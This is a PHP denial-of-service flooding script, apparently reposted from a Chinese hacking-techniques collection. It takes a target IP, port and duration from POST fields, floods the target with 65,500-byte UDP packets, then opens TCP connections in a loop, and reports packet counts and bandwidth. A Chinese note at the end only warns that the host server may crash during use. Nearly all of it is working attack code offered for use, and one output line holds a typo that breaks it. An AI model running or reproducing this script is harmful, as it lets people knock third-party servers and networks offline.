<?php $packets = 0; $ip = $_POST['ip']; //IP $rand = $_POST['port']; //端口 set_time_limit(0); //時間 ignore_user_abort(FALSE); //持久攻擊 $exec_time = $_POST['time']; $time = time(); print "Flooded:$ip on port $rand <br><br>"; $max_time = $time+$exec_time; for($i=0;$i<65500;$i++){ $out .= "X"; } while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("udp://$ip",$rand,$errno,$errstr,5); if($fp){ fwrite($fp,$out); fclose($fp); } } echo "Packet complete at ".time('h:i:s')." with $packe ts (".round(($packets*65)/1024,2) ." mB) \n"; ;echo ' '; ini_set("display_errors","Off"); $packets = 0; $ipb = $_POST['ipb']; $portb = $_POST['portb']; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_POST['timeb']; $time = time(); $max_time = $time+$exec_time; while(1){ $packets++; if(time() >$max_time){ break; } $fp = fsockopen("tcp://$ipb",$portb,$errno,$errstr,0); } echo "<br />\n"; echo "<br />\n"; echo "-"; echo "<br />\n"; echo " zgs ".$packets."g"; echo "<br />\n"; echo "<br />\n"; echo " zll ".round(($packets*74*8)/(1024*1024),2)."Mbps"; echo "<br />\n"; echo "-"; echo "<br />\n"; ?> 騰訊愛好者提示:使用PHP腳本進行DDOS攻擊的死后,使用腳本的網(wǎng)站會經(jīng)常發(fā)生500錯誤,或者服務(wù)器自己關(guān)機的現(xiàn)象,所以大家在使用腳本的時候要特別注意。
|
|
來自: 隱者黑鷹88 > 《黑客技術(shù)精華》